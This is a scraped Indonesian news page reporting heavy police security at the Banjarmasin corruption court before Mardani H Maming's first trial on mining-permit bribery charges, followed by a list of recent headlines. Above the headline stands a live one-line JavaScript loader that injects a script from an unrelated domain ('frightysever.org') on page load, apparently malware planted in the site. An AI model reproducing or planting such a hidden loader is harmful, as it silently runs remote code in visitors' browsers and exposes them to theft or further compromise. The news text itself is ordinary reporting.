(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jelang Sidang Perdana Mardani Maming Pengamanan Diperketat di Pengadilan Tipikor Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Jelang sidang perdana Mardani H Maming di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin, Kamis (10/11/2022) pagi, sejumlah personel dari Kepolisian Resort Banjarmasin dan Brimob Polda Kalsel melakukan penjagaan dan pengamanan di sekitar lokasi persidangan.

Terlihat sebuah mobil Rantis Brimob telah terpakir di halaman Pengadilan Tipikor Banjarmasin untuk mengamankan jalannya persidangan.

Mobil sound system pengurai massa dan mobil box yang berisi peralatan pengamanan juga telah disiapkan di halaman Pengadilan Tipikor Banjarmasin sejak pagi hari.

Terdakwa Mardani H Maming akan menjalani sidang pertama dengan agenda pembacaan surat dakwaan oleh Jaksa Penuntut Umum.

 

 

Baca juga: Mantan Bendahara Bawaslu Banjar Divonis 6 Tahun, Wajib Kembalikan Rp 1,3 Miliar

Pada sidang pertama ini terdakwa mantan Bupati Tanah Bumbu ini akan mengikuti sidang secara virtual melalui gedung Merah Putih Komisi Pemberantasan Korupsi (KPK).

Sebelumnya, juru bicara PN Banjarmasin Aris Bawono Langgeng mengatakan bahwa Mardani tidak ditahan di Rutan Banjarmasin, namun tetap ditahan Rutan KPK di Jakarta.

“Staf di Tipikor ditelepon oleh KPK, dikabari tahanan tetap di Jakarta,” katanya.

Diketahui Mardani H Maming mantan Bupati Tanah Bumbu periode 2010-2015 dan periode 2016-2018 tersebut diduga terlibat dalam kasus suap pengalihan Izin Usaha Pertambangan (IUP) lebih dari 100 miliar saat menjabat sebagai Bupati Tanah Bumbu.

Baca juga: BEM se Kalsel Berdemo, Mahasiswa Kembali Cari Paman Birin

Berdasarkan hasil penyidikan KPK, Mardani diduga menerima aliran suap dari pengendali PT Prolindo Cipta Nusantara (PCN) Henry Soetio, yang bermaksud memperoleh Izin Usaha Tambang (IUP) OP milik PT Bangun Karya Pratama Lestari (BKPL) seluas 370 hektare yang berlokasi di Kabupaten Tanah Bumbu.

Sementara itu, tim penasehat hukum terdakwa Mardani Maming juga sudah tiba di Pengadilan Tipikor Banjarmasin pada Kamis (10/11/2022) pagi. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

36 menit ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

4 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

8 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

23 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

23 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.